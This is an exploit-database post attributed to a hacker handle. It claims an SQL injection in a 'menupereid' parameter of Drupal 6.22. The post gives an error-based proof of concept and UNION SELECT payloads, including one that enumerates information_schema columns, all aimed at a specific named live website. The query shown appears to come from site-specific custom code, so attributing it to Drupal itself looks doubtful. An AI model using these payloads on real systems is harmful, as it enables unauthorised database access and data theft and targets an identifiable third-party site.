Drupal 6.22 - menupereid SQL injection Vulnerability

######################
# Exploit Title : Drupal 6.22 - menupereid SQL injection Vulnerability
# Exploit Author : xBADGIRL21
# Category: [ Webapps ]
# Tested on: [ Win | Linux]
# Version: Drupal 6.22
# Date: 2016/07/04
######################
# PoC:
# http://www.site.com/content/menucustom?menupereid=[SQLi]
#
+ test:=> http://www.cicame.ca/en/content/menucustom?menupereid=8'
#
# respone:user warning: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax
# to use near ''' at line 1 query: select * from menu where menuid=8' in /var/www/d6.cicame-energie.ca/html/includes/common.inc(1743) : eval()'d code on line 222
+ Demo
# http://www.cicame.ca/en/content/menucustom?menupereid=8
# http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,6,7,8--+
# http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,version(),7,8--+
# http://www.cicame.ca/en/content/menucustom?menupereid=-8 UNION SELECT 1,2,3,4,5,concat(column_name,0x3e,table_schema,0x3e,table_name),7,8 from
# information_schema.columns--+
######################
# Discovered by : xBADGIRL21
# Greetz : All Mauritanien Hackers - NoWhere
#######################

#  0day.today [2018-03-14]  #